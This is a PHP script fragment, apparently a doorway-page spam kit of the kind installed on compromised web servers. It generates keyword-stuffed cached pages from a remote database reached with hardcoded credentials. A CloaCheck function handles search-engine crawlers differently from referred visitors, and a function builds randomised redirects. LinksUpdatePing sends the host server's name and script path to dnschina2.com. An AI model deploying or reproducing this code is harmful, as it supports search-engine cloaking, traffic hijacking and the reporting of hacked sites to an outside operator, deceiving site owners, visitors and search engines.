set_time_limit(0);
$mysql_host = 'publicpornvideo.com';
$mysql_user = 'english';
$mysql_pass = 'english';
$mysql_db = 'similarbase';
function GetKeywords ($limit=10, $get_array) {
$mysql_db = "similarbase";
mysql_select_db($mysql_db) or die('Could not select database');
$array_counter = 0;
foreach ($get_array as $get) {
$get = trim($get);
$keywords_array [] = "$get";
$key_id=0;
$get_keyword = $get;
$query = "SELECT id FROM mainword WHERE word LIKE '$get_keyword%' LIMIT 1;";
$result = mysql_query($query) ;
if(!$result) die("Query Failed.");
while($row = mysql_fetch_row($result)) {
$query2 = "SELECT * FROM words WHERE id = $row[0] ORDER BY RAND() LIMIT $limit;";
$result2 = mysql_query($query2) ;
while($row2 = mysql_fetch_row($result2)) {
$keyword = trim($row2[1]);
$keywords_array [] = "$keyword";
}
}
$final_keywords_array [$array_counter] = $keywords_array;
$array_counter++;
$keywords_array=array();
}
return $final_keywords_array;
}
function GetTDSKeywords ($limit=10, $simi_keys_count) {
$keywords_needed= $limit*$simi_keys_count;
$keywords_in_db =1309719;
$mysql_db = "tds";
mysql_select_db($mysql_db) or die('Could not select database');
$array_counter = 0;
for ($i=0; $i<$simi_keys_count; $i++) {
$keywords_flag = mt_rand(0,($keywords_in_db-$keywords_needed));
$query = "SELECT query FROM search_phrase WHERE id > $keywords_flag LIMIT $limit;";
$result = mysql_query($query) ;
if(!$result) die("Query Failed.");
while($row = mysql_fetch_row($result)) {
$keyword = trim($row[0]);
$keywords_array [] = "$keyword";
}
if(count($keywords_array [$array_counter]) < 1) $keywords_array [] = "$get";
$final_keywords_array [$array_counter] = $keywords_array;
$array_counter++;
$keywords_array=array();
}
return $final_keywords_array;
}
function GetComments ($limit=10, $simi_keys_count) {
$keywords_needed= $limit*$simi_keys_count;
$keywords_in_db =3363095;
$mysql_db = "video";
mysql_select_db($mysql_db) or die('Could not select database');
$array_counter = 0;
for ($i=0; $i<$simi_keys_count; $i++) {
$keywords_flag = mt_rand(0,($keywords_in_db-$keywords_needed));
$query = "SELECT author,comment FROM comments WHERE id > $keywords_flag LIMIT $limit;";
$result = mysql_query($query) ;
if(!$result) die("Query Failed.");
while($row = mysql_fetch_row($result)) {
$author = trim($row[0]);
$keyword = trim($row[1]);
$date = trim($row[2]);
$keywords_array [] = "By:$author$date
$keyword";
}
if(count($keywords_array [$array_counter]) < 1) $keywords_array [] = "$get";
$final_keywords_array [$array_counter] = $keywords_array;
$array_counter++;
$keywords_array=array();
}
return $final_keywords_array;
}
function GetLinksArray($keywords_array,$depth=5) {
$counter=0;
$count_keywords_array = count($keywords_array);
$http_host = $_SERVER["SERVER_NAME"];
$http_path = $_SERVER["SCRIPT_NAME"];
for ($i=0; $i < $count_keywords_array; $i++) {
for ($j=0; $j < $depth; $j++) {
$key = trim($keywords_array[$i][$j]);
if ($key) {
$links_array [] = "$key";
$links_file .="$key\n";
}
}
$counter++;
}
MakeCache (".li_ca",$links_file);
return $links_array;
}
function MakeCache ($cachefile,$html_page){
$fp = fopen($cachefile, 'w');
fwrite($fp, $html_page);
fclose($fp);
}
function GetCache ($cachefile){
$cachefile = ".$cachefile"."_ca";
if(file_exists($cachefile)) {
$html_page = file_get_contents($cachefile);
}
else $html_page=0;
return $html_page;
}
function MakeHtmlPage ($simi_keywords_array,$tds_keywords_array,$coments_array,$links_array,$links_perpage_count){
$t_count=4;
$title_counter=0;
$tds_keywords_array_count = count($tds_keywords_array)-1;
$simi_keywords_array_count = count($simi_keywords_array)-1;
$html_template = file_get_contents(".html_tpl");
$http_host = $_SERVER["SERVER_NAME"];
$home_link = "$http_host";
foreach ($simi_keywords_array as $simi_key) {
if (($title_counter < $t_count) && $title_counter!=0) {
$sep = "|";
if ($title_counter == $t_count-1) $sep ="";
$title .= ucfirst("$simi_key $sep ");
$descr .= "$simi_key ";
}
$title_counter++;
$content .="$simi_key, ";
}
foreach ($tds_keywords_array as $tds_key) {
$tds_content .="$tds_key, ";
}
foreach ($coments_array as $coment) {
$coments .="$coment
"; } $links_array_count = (count($links_array)-1); for ($i=0; $i < $links_perpage_count; $i++) { $rnd = mt_rand(0,$links_array_count); $links .="$links_array[$rnd] "; } $html_page = str_replace("[CONTENT]",$content,$html_template); $html_page = str_replace("[TITLE]",$title,$html_page); $html_page = str_replace("[TDSKEYS]",$tds_content,$html_page); $html_page = str_replace("[COMMENTS]",$coments,$html_page); $html_page = str_replace("[LINKS]",$links,$html_page); $html_page = str_replace("[MDESC]",$descr,$html_page); $html_page = str_replace("[HOMELINK]",$home_link,$html_page); $html_page = str_replace("[RNDKEY_1]",ucfirst($simi_keywords_array[mt_rand(0,$simi_keywords_array_count)]),$html_page); $html_page = str_replace("[RNDKEY_2]",ucfirst($simi_keywords_array[mt_rand(0,$simi_keywords_array_count)]),$html_page); $html_page = str_replace("[RNDKEY_3]",ucfirst($simi_keywords_array[mt_rand(0,$simi_keywords_array_count)]),$html_page); $html_page = str_replace("[RNDKEY_4]",ucfirst($tds_keywords_array[mt_rand(0,$tds_keywords_array_count)]),$html_page); $html_page = str_replace("[RNDKEY_5]",ucfirst($tds_keywords_array[mt_rand(0,$tds_keywords_array_count)]),$html_page); $html_page = str_replace("[TDSRNDKEY_1]",ucfirst($tds_keywords_array[mt_rand(0,$tds_keywords_array_count)]),$html_page); $html_page = str_replace("[TDSRNDKEY_2]",ucfirst($tds_keywords_array[mt_rand(0,$tds_keywords_array_count)]),$html_page); $html_page = str_replace("[TDSRNDKEY_3]",ucfirst($tds_keywords_array[mt_rand(0,$tds_keywords_array_count)]),$html_page); return $html_page; } function Get404 (){ $script_name = $_SERVER['REQUEST_URI']; header("HTTP/1.0 404 Not Found"); echo "
"; } function GetRandomRedirect () { $source_redirect = ''; $random_redirect = str_replace("replace_var1",make_password(8),$source_redirect); $random_redirect = str_replace("replace_var2",make_password(8),$random_redirect); $random_redirect = str_replace("replace_var3",make_password(8),$random_redirect); $random_redirect = str_replace("replace_var4",make_password(8),$random_redirect); return $random_redirect; } function LinksUpdatePing () { $http_host = $_SERVER["SERVER_NAME"]; $http_path = $_SERVER["SCRIPT_NAME"]; $url="http://dnschina2.com/li_update?host=$http_host&path=$http_path"; $ch = curl_init(); if ($ch){ curl_setopt ($ch, CURLOPT_URL, $url); curl_setopt ($ch, CURLOPT_USERAGENT, "locked"); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($ch, CURLOPT_TIMEOUT, 10); $returned_code=curl_exec ($ch); curl_close ($ch); } else { $opts = array( 'http'=>array( 'method'=>"GET", 'header'=>"User-Agent: locked\r\n" ) ); $returned_code = ""; $context = stream_context_create($opts); $fp = fopen($url, 'r', false, $context); if ($fp) { while (!feof($fp)) { $buffer = fread($fp, 1024); $returned_code .= $buffer; } fclose($fp); } } } function make_password($len = 6){ $r = ''; for($i=0; $i<$len; $i++) $r .= chr(rand(0, 25) + ord('a')); return $r; } function CloaCheck () { $search = 1; $referer = strtolower($_SERVER['HTTP_REFERER']); $agent = "sax".strtolower($_SERVER['HTTP_USER_AGENT']); if(strpos($agent, "google") != ""){ $search = "0"; } if(strpos($referer, "site:") != ""){ $search = "0"; } if(!$referer){ $search = "0"; } if(strpos($agent, "slurp") != ""){ $search = "0"; } if(strpos($agent, "lycos") != ""){ $search = "0"; } if(strpos($agent, "teoma") != ""){ $search = "0"; } if(strpos($agent, "yahoo") != ""){ $search = "0"; } return $search; } $get_id = $_GET["id"]; $keywords = explode("\n",$_POST["w"]); $tds_keys_count = $_POST["t"]; $simi_keys_max = $_POST["s"]; $comment_count = $_POST["c"]; $links_perpage_count = $_POST["l"]; if (!file_exists(".dlock") && $get_id=="inst") { echo '
'; } if ($simi_keys_max && !file_exists(".dlock")) { ob_start(); $mysql_link = mysql_connect($mysql_host, $mysql_user, $mysql_pass) or die('Could not connect: ' . mysql_error()); $get = $keywords; $simi_keys_count = count($get); $simi_keywords_array = (GetKeywords($simi_keys_max,$get)); $tds_keywords_array = (GetTDSKeywords($tds_keys_count,$simi_keys_count)); $coments_array = (GetComments($comment_count,$simi_keys_count)); $links_array = GetLinksArray($simi_keywords_array,5); for ($i=0;$i<$simi_keys_count; $i++) { $html_page = MakeHtmlPage($simi_keywords_array[$i],$tds_keywords_array[$i],$coments_array[$i],$links_array,$links_perpage_count); MakeCache (".$i"."_ca",$html_page); echo "[$i]" . $simi_keywords_array[$i][0]."